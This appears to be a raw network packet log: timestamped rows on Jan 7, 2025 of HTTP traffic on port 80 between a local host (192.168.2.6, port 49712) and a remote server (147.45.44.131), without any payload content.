Jan 7, 2025 06:12:02.984688997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.984709024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.984720945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.984889030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.984900951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.984903097 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.984913111 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.984924078 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.984931946 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.984936953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.984954119 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.985038042 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.985716105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.985734940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.985745907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.985755920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.985765934 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.985790968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.985817909 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.986608982 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.986624956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.986635923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.986645937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.986656904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:02.986674070 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.986742020 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:02.987353086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:03.133445024 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.393440962 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.398391962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580173016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580188036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580229998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580240011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580240965 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.580252886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580279112 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.580313921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580324888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580336094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580354929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.580358982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.580383062 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.581221104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.581232071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.581242085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.581269026 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.581296921 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.668971062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669012070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669023991 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669034004 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669044971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669116974 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.669239998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669250965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669261932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669285059 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.669297934 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.669637918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669648886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669661045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669672012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669682980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.669682980 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.669704914 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.670180082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670197964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670208931 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670218945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670228958 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670232058 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.670260906 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.670820951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670831919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670842886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670876026 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670885086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670886040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.670897961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670903921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.670923948 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.670933008 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.757987976 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758017063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758028984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758039951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758050919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758069992 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.758100986 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.758156061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758176088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758187056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758219957 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.758230925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758239031 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.758243084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758302927 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.758678913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758690119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758702993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758713961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758728027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758738995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758744955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.758749962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.758764029 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.758784056 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.759239912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759252071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759262085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759289980 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.759322882 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.759363890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759382010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759393930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759428024 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.759473085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759483099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759494066 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759511948 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.759531975 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.759577036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759589911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759601116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759612083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.759633064 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.759639978 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.760329962 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761151075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761173964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761214018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761218071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.761245012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761256933 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.761429071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761440992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761454105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761466026 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761472940 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.761493921 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.761744022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761754990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761765003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761787891 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.761812925 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.761948109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761959076 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761969090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761980057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.761996031 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.762018919 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.762325048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.762336969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.762347937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.762357950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.762376070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.762386084 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.762422085 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.848514080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848531961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848543882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848558903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848571062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848572969 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.848582983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848613024 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.848618984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848630905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848643064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848654032 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848663092 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848669052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848680019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848691940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848695040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.848706007 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.848706007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848717928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.848745108 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.848771095 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.850320101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850332022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850342989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850353003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850366116 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.850383997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.850563049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850589037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850600958 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850610018 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.850637913 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.850678921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850691080 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850708961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850722075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.850724936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850737095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850748062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850759029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850766897 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.850785017 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.850939989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850950956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.850989103 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.851080894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.851094007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.851134062 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.853658915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853677034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853688955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853698969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853709936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853709936 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.853722095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853732109 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.853735924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853760004 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.853775024 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.853801012 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853812933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.853847027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.853996038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854007959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854018927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854029894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854038000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854062080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854639053 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854650974 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854661942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854672909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854685068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854687929 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854696035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854707003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854708910 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854717970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854722023 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854746103 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854782104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854794025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854804993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854820013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854824066 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854830980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854842901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854842901 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854876041 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854901075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854940891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854952097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854953051 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854964018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854974985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854985952 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.854988098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.854999065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855012894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855015993 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855024099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855036020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855045080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855046988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855066061 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855108023 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855254889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855420113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855429888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855441093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855451107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855465889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855474949 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855475903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855488062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855499029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855504990 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855524063 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855556011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855567932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855578899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855597973 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855614901 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855773926 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855787039 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855797052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855808020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.855820894 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.855865955 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.856674910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.856688023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.856702089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.856729984 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.936619997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.936681032 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.936770916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.936781883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.936824083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.936954021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.936965942 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.936978102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.936989069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937006950 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.937047958 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.937097073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937109947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937119961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937129974 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937139988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937160015 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.937182903 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.937254906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937268019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937278032 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937287092 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937297106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.937299967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.937311888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.937340021 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940210104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940221071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940231085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940260887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940351009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940361977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940371037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940396070 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940419912 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940540075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940551043 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940561056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940571070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940581083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940583944 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940607071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:04.940743923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940754890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940766096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940776110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:04.940784931 CET	80	49712	147.45.44.131	192.168.2.6
